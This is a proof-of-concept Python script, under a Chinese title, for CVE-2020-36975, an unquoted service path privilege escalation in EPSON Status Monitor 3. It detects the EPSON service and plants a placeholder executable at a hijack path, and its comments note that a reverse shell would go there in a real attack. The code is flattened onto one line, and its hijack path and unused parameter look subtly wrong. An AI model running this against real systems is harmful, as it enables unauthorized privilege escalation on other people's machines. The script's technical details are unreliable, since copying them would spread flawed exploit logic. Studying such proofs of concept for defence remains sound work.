CVE-2020-36975: EPSON Status Monitor 3 未引号服务路径权限提升漏洞

#!/usr/bin/env python3 """ CVE-2020-36975 PoC - EPSON Status Monitor 3 Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in EPSON Status Monitor 3. Note: This is for educational and authorized testing purposes only. """ import os import sys import subprocess import ctypes def check_vulnerability(): """Check if the vulnerable service exists on the system.""" vulnerable_path = r'C:\Program Files\Common Files\EPSON\EPW!3SSRP\E_S60RPB.EXE' # Check if the service exists try: result = subprocess.run( ['sc', 'query', 'EpsonRPCService'], capture_output=True, text=True ) if 'FAILED' in result.stdout or 'FAILED' in result.stderr: print("[-] Target service not found on this system.") return False except Exception as e: print(f"[-] Error checking service: {e}") return False # Check if the vulnerable path exists if os.path.exists(os.path.dirname(vulnerable_path)): print(f"[+] Vulnerable service path directory exists: {os.path.dirname(vulnerable_path)}") return True return False def create_artifact_payload(payload_path): """ Create a malicious executable at the unquoted path location. In a real attack, this would be a reverse shell or other malicious code. """ # The unquoted path allows execution of 'Common.exe' before 'E_S60RPB.EXE' malicious_path = r'C:\Program Files\Common Files\EPSON\Common.exe' try: # Create a benign file for demonstration (in real attack, this would be malicious) with open(malicious_path, 'w') as f: f.write("This would be malicious code in a real attack scenario.") print(f"[+] Payload artifact created at: {malicious_path}") print("[+] When the service restarts, it may execute this file instead of the legitimate binary.") return True except PermissionError: print("[-] Insufficient privileges to create file at the vulnerable path.") print("[-] This attack requires administrative privileges or specific file system permissions.") return False except Exception as e: print(f"[-] Error creating payload: {e}") return False def main(): print("=" * 60) print("CVE-2020-36975 PoC - EPSON Status Monitor 3 Unquoted Service Path") print("=" * 60) if not ctypes.windll.shell32.IsUserAnAdmin(): print("[-] Warning: This PoC should be run with administrator privileges.") if check_vulnerability(): print("[+] System appears to be vulnerable to CVE-2020-36975") create_artifact_payload(None) else: print("[-] System does not appear to be vulnerable or target service not found.") if __name__ == '__main__': main()